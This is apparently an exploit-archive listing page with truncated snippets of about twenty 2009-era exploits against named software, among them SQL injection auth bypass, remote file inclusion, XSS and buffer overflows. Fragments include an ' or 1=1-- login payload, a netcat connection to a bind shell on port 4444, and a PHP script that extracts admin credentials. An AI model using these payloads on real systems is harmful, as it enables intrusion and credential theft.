WBBlog Remote File Inclusion

view source print? WBBlog Remote File Inclusion Vulnerability Found By: mrme Download: http://liqua.com/post/WBBlog.html Tested On: Linux Note: For educational purposes only Remote file include in index.php on lines 25 and 26...

Billwerx RC v3.1 Multiple Vulnerabilities

No description provided by source. Billwerx RC v3.1 Multiple Vulnerabilities Found By: mrme Download: http://www.billwerx.com/download.php Tested On: Windows Vista Note: For educational purposes only XSS POC: A regular employee can embed javascript code that could be executed within the context o...

Billwerx RC 3.1 - Multiple Vulnerabilities

Billwerx RC v3.1 Multiple Vulnerabilities Found By: mrme Download: http://www.billwerx.com/download.php Tested On: Windows Vista Note: For educational purposes only XSS POC: A regular employee can embed javascript code that could be executed within the context of the admin's browser. If the user...

Audio Workstation 6.4.2.4.0 Buffer Overflow

!/usr/bin/python Audio Workstation v6.4.2.4.0 .pls Universal Local BoF Exploit Credits: germayax Coded by: mrme Tested on Windows XP SP3 Note: For educational purposes only mrme@home:$ nc -v 192.168.0.6 4444 192.168.0.6: inverse host lookup failed: Unknown server error : Connection timed out...

PHP Inventory 1.2 - Authentication Bypass

PHP Inventory 1.2 - Authentication Bypass PHP Inventory v1.2 Remote Auth Bypass SQL Injection Vulnerabiity Found By: mrme Download: http://www.phpwares.com/content/php-inventory Tested On: Windows Vista Note: For educational purposes only First of all lets login to admin with:...

PHP Inventory 1.2 SQL Injection

PHP Inventory v1.2 Remote Auth Bypass SQL Injection Vulnerabiity Found By: mrme Download: http://www.phpwares.com/content/php-inventory Tested On: Windows Vista Note: For educational purposes only First of all lets login to admin with: http://server/php-inventory/index.php username: ' or 1=1--...

PHP Inventory v1.2 Remote (Auth Bypass) SQL Injection Vulnerabiity

Exploit for unknown platform in category web applications ================================================================== PHP Inventory v1.2 Remote Auth Bypass SQL Injection Vulnerabiity ================================================================== PHP Inventory v1.2 Remote Auth Bypass SQ...

Audio Workstation 6.4.2.4.0 - .pls Universal Local Buffer Overflow

Audio Workstation 6.4.2.4.0 - .pls Universal Local Buffer Overflow !/usr/bin/python Audio Workstation v6.4.2.4.0 .pls Universal Local BoF Exploit Credits: germayax Coded by: mrme Tested on Windows XP SP3 Note: For educational purposes only mrme@home:$ nc -v 192.168.0.6 4444 192.168.0.6: inverse...

Audio Workstation 6.4.2.4.0 - '.pls' Universal Local Buffer Overflow

!/usr/bin/python Audio Workstation v6.4.2.4.0 .pls Universal Local BoF Exploit Credits: germayax Coded by: mrme Tested on Windows XP SP3 Note: For educational purposes only mrme@home:$ nc -v 192.168.0.6 4444 192.168.0.6: inverse host lookup failed: Unknown server error : Connection timed out...

Vivid Ads Shopping Cart SQL Injection

$site = 'www.example.com'; Site address $path = '/path'; Folder path $contents = ''; $sock = fsockopen$site, 80, $errno, $errstr, 30; if!$sock echo' ' .$errstr.$errno. ' '."\n"; else $pack = "GET " .$path...

Vivid Ads Shopping Cart - 'prodid' SQL Injection

/', $contents, $matches echo'User: ' .$matches1. ';'."\n".'Pass: ' .$matches2. ';'."\n".'Admin login: http://' .$site.$path. '/admin/'."\n"; else echo'Can't pull out admin details.'."\n"; else echo'Can't write socket.'."\n"; ?...

AIMP2 Audio Converter Playlist Buffer Overflow

Vulnerability : AIMP2 Audio Converter Playlist pls BOF Discovered by : mrme http://milw0rm.com/exploits/9561 Sploit written by : corelanc0d3r corelanc0d3ratgmaildotcom Sploit written : nov 7th, 2009 Sploit released : nov 11th, 2009 Type : local and remote code execution OS : Windows Product : AIM...

FtpXQ authenticated remote Dos

No description provided by source. !/usr/bin/python banner= "\r\n" " Exploit Title: FtpXQ authenticated remote Dos " " trial on http://www.datawizard.net/Products/FtpXQ/Setup.EXE Version 3.0.1 \r\n" " Tested on XP sp2 english" " Needs write access -- vuln on MKD command\r\n" " Vulnerability found...

FtpXQ 3.0 - (Authenticated) Remote Denial of Service

!/usr/bin/python banner= "\r\n" " Exploit Title: FtpXQ authenticated remote Dos " " trial on http://www.datawizard.net/Products/FtpXQ/Setup.EXE Version 3.0.1 \r\n" " Tested on XP sp2 english" " Needs write access -- vuln on MKD command\r\n" " Vulnerability found by Marc Doudiet\r\n" " For...

Serv-U Web Client 9.0.0.5 - Remote Buffer Overflow (2)

Serv-U Web Client 9.0.0.5 - Remote Buffer Overflow 2 / !!!FOR EDUCATIONAL USE ONLY!!! M.Yanagishita Nov 2, 2009 !!!FOR EDUCATIONAL USE ONLY!!! / include include pragma commentlib, "ws232" define Diea ifareturn; char request = "POST / HTTP/1.1\r\nHost: %s\r\nCookie: killmenothing; SULang=de%%2CDE;...

Xion Audio Player 1.0 121 .m3u file Buffer Overflow

No description provided by source. Vulnerability : Xion Audio Player Local BOF Discovered by : Dragon Rider http://securityreason.com/exploitalert/7392 drag0n.riderathotmail.com Sploit written by : corelanc0d3r corelanc0d3ratgmaildotcom Sploit released : nov 3rd, 2009 Type : local and remote code...

Cherokee web server 0.5.4 DoS

Exploit for unknown platform in category web applications ============================= Cherokee web server 0.5.4 DoS ============================= Name : Cherokee Web Server 0.5.4 Denial Of Service Author: Usman Saeed Tested on Windows ! Disclaimer: This code is for Educational Purposes , I woul...

Cherokee Web server 0.5.4 - Denial of Service

Name : Cherokee Web Server 0.5.4 Denial Of Service Author: Usman Saeed Company: Xc0re Security Research Group Website: http://www.xc0re.net DATE: 25/10/09 Tested on Windows ! Disclaimer: This code is for Educational Purposes , I would Not be responsible for any misuse of this code Download Page :...

Millenium MP3 Studio 2.0 - .m3u Local Buffer Overflow

Millenium MP3 Studio 2.0 - .m3u Local Buffer Overflow + Vulnerability : .m3u File Local Stack Overflow Universal Exploit SEH + Product : Millenium MP3 Studio + Versions affected : v2.0 + Download : http://www.software112.com/products/mp3-millennium+download.html + Method : seh + Tested on : Windo...

Millenium MP3 Studio 2.0 Stack Overflow

Vulnerability : .m3u File Local Stack Overflow Universal Exploit SEH + Product : Millenium MP3 Studio + Versions affected : v2.0 + Download : http://www.software112.com/products/mp3-millennium+download.html + Method : seh + Tested on : Windows XP SP2 En, Windows XP SP3 En, Windows Vista SP1 Swe +...